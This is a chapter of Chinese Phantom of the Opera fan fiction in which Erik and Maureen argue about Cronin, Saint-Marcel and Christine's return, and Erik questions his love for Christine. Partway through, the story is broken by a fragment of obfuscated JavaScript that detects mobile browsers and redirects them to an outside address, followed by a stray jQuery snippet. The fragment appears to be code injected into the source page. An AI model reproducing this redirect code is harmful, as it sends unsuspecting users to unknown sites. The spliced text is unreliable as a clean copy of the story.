埃里克：“你想知道什么？”


    “圣马赛，我想知道罗什舒亚尔和圣马赛的关系。”


    能够这么快摸到圣马赛，埃里克着实有些惊讶于莫琳的速度。她一定是找机会调查过罗什舒亚尔了，并且还翻到了些重要的东西。


    但他不想就这么告诉她答案。


    埃里克想知道，如果仅凭她自己，莫琳能够走到哪一步。


    “哦？你翻了他的户籍证明？”埃里克问。


    莫琳却执着地看着他，并不打算告诉他自己通过什么得知克罗宁的来历。


    在埃里克的视野里，她就是这样一副如果得不到答案就会立刻甩脸走人，不再和他浪费一秒钟的模样。


    “克罗宁家的小子可不会知道这些，”最终他放弃，只低低地笑了两声，从胸腔里溢出几分嘲弄：“即使你将他浑身从上到下搜个遍，大概也就只会抖落出一些关于圣马赛里哪个染坊的料子最便宜，还有被教会抛弃的教士们去了哪里这种事。在关于罗什舒亚尔和德·莱斯曼的交易筹码这件事上，你恐怕是找错了人。”


    “是吗？可我并不是这么认为的。”


    莫琳反驳道：“如果连从小出生，长大在圣马赛的克罗宁都不能摸到罗什舒亚尔埋藏在那里的秘密，难道你可以吗？”


    “更何况，克罗宁信任我，衷心于我。我当然更愿意让他成为我的情报来源。哪怕他只能找到教士们的名字，他也不会吝啬耗费时间从他们嘴里撬出更多的消息。”


    “如果换作你，我能相信你吐露的名字是真实的吗？你甚至无法让我相信埃里克是个真实的人。”


    她在激将他。


    “我不是个真实的人，”埃里克将她的字眼重新咀嚼一遍，说：“如果我不是的话，你为什么还能站在这里和我说话呢？”


    他拽了一把莫琳的袖子，在女人踉跄的恍惚中将她拉近到自己的面前。


    他们之间仅仅隔着鼻息。温热的气体透过面具拂到不见天日的那半边脸上，冰凉的喘息同样不甘示弱地裹挟住对方的每寸毛孔。既然有呼吸，那就一定是人类。


    “现在呢？现在你能感受到你眼前的究竟是幽灵还是人类吗？”


    莫琳凝滞了一瞬，很快找回平衡和他拉开了距离。


    “激将法对我没用。”再看他时，埃里克已经换了副表情：“这不在我的职责范围内。”


    “如果你想知道，那么就自己去找吧。”


    看得出来，他生气了。


    这种情绪出现在埃里克身上是极为罕见的。准确地说，从莫琳认识埃里克以来，她还从没有真正在他身上发现过任何有关于生气或者愤怒的表达。他总是以一种居高临下的态度对待人和事物，就好像没有任何东西值得他费心一样。


    而莫琳这么做也不是毫无缘由的。她能够感受到埃里克对于克罗宁那股莫名其妙的敌意。


    狮豹不会关注蚂蚁对它摆出的进攻姿态，就如同埃里克从来不在乎外界朝他对准的枪口，哪怕是莫里斯。可他竟然会因为克罗宁而产生情绪，这不正常。


    这代表克罗宁对他存在威胁。


    “你为什么会在意克罗宁？”莫琳问：“他还有什么别的身份值得你注意吗？”


    埃里克当然不可能回答她，但他扶上躺椅把手的动作已经暴露了内心的想法。


    “你的问题只会耗费更多的时间。”


    “等你找到线索的时候，早就成了罗什舒亚尔和莱斯曼的弃子。”


    莫琳压根没有在听他说话。


    她其实已经不需要他的回答了，或者说，她早就得到了答案。


    她顺着埃里克说：


    “好吧，就当我什么也没说过。那么你今天是为了什么来？”


    “让我猜猜，是为了克莉丝汀吗？”


    他今天的情绪很不对劲，也许是因为克莉丝汀回来了。


    他从前可不会在乎什么有没有将他当作真实的人看待的这类问题，相反地，莫琳认为他还挺享受以幽灵的身份欺压人的。而上一次他那么在意他人看法的时候，好像还是在黑湖，他们第一次见面的时候。


    那个时候他将她当作克莉丝汀的投影。


    “克莉丝汀回来了？”埃里克皱着眉问。


    “你不知道这回事？”莫琳挑了挑眉，“她是昨天来拜访我的，今天应该已经回到歌剧院了。怎么，你还没见过她吗？”


    他可是住在歌剧院底下，掌握他们所有人一举一动的幽灵，怎么可能没有发现新来的女高音就是克莉丝汀？更何况她是他爱着的人？


    但这件事埃里克确实不知道。


    自从莫琳搬到罗什舒亚尔的府邸之后，他在歌剧院待着的时间就变少了。没了她，歌剧院成了个无趣的地方。


    “我看到了，”埃里克表情怪异地说：“但我不是为了她来的。”


    这不对劲。


    如果埃里克知道克莉丝汀回来了，那么他也应该知道拉乌尔对她做的一切，他怎么可能对此无动于衷，还有心情来这里和她闹些什么别扭的脾气呢？


    “你不知道克莉丝汀经历了什么，对不对？”莫琳问。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132695|162159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“你不是爱她吗？为什么现在却连一点儿对于普通朋友的关心都没有分给她呢？”


    即使埃里克照常戴着半遮面具，也不难看出他的表情变得有多么僵硬。


    他无法反驳莫琳的话，因为她完全戳穿了他。他有时感觉自己在她面前像个赤裸裸的人，不管带着多少伪装，她总能一针见血地点出自己的真实面貌。


    而这一次她点出的，是他自己为是的爱情。


    他一直以为自己是爱克莉丝汀的。


    她的眼睛像是一汪宽宏的海，让他这个满身罪孽的人也有了栖息之地。克莉丝汀是唯一尊敬他，且能顺从于他教导的人。埃里克从她身边汲取到了成为人的养分。


    但如果爱的话，为什么他能够漠视她所遭受的痛苦，甚至还逃避自己冷漠的心呢？


    如果爱的话，早在拉乌尔在大庭广众之下求婚的时候，早在他替她规划未来向歌剧院辞职的时候他就该阻止了。他难道没有阻止的能力吗？制造一场意外，或者干脆让拉乌尔死在旁遮普索套下，这不都是他的拿手好戏吗？


    有那么多个可以动手的瞬间，可他却什么也没有做。


    不知道从什么时候起，埃里克的目光从克莉丝汀身上挪走了，转而趋向着德·莱斯曼的小姐，后来又变成了罗什舒亚尔的夫人。他像是不受控似的贪恋那片刻在她身边的时间。


    埃里克猜想，那是因为自己在莫琳面前总是真实的。真实到不仅是□□上摘掉面具的他，还包括内心深处的两个灵魂。


    就连克莉丝汀也没有见过的他，莫琳见过。


    但他不能将这些袒露给莫琳，否则无异于将自己的心脏递到她手上。


    “她和拉乌尔之间发生了什么？”埃里克后知后觉地问。


    “如果你真的关心，就不会等到这时候才来问我了。”


    正值十二月。由于开着窗，外边的寒气不断呼啸着争先恐后地挤进温暖的房间。莫琳呛了一口冷风，忍不住断断续续地咳嗽起来。她的语调沙哑而破碎，就像她所讲出的话一样。


    “多么难以置信，你以克莉丝汀为幌子做了那么多事，最终却放弃，甚至推翻对她的爱情了吗？“


    “我想我不需要你来教我什么是爱。”埃里克冷着脸说。


    莫琳对于他的冒犯早已经超过了界限值，他不该再这么继续容忍她。例如她和自己的距离愈来愈近，例如她对于自己情感的干涉。这都是危险的信号。


    他决定，从今天开始，他不会再来见这位罗什舒亚尔夫人了。他要将所有的错误终止在这一天。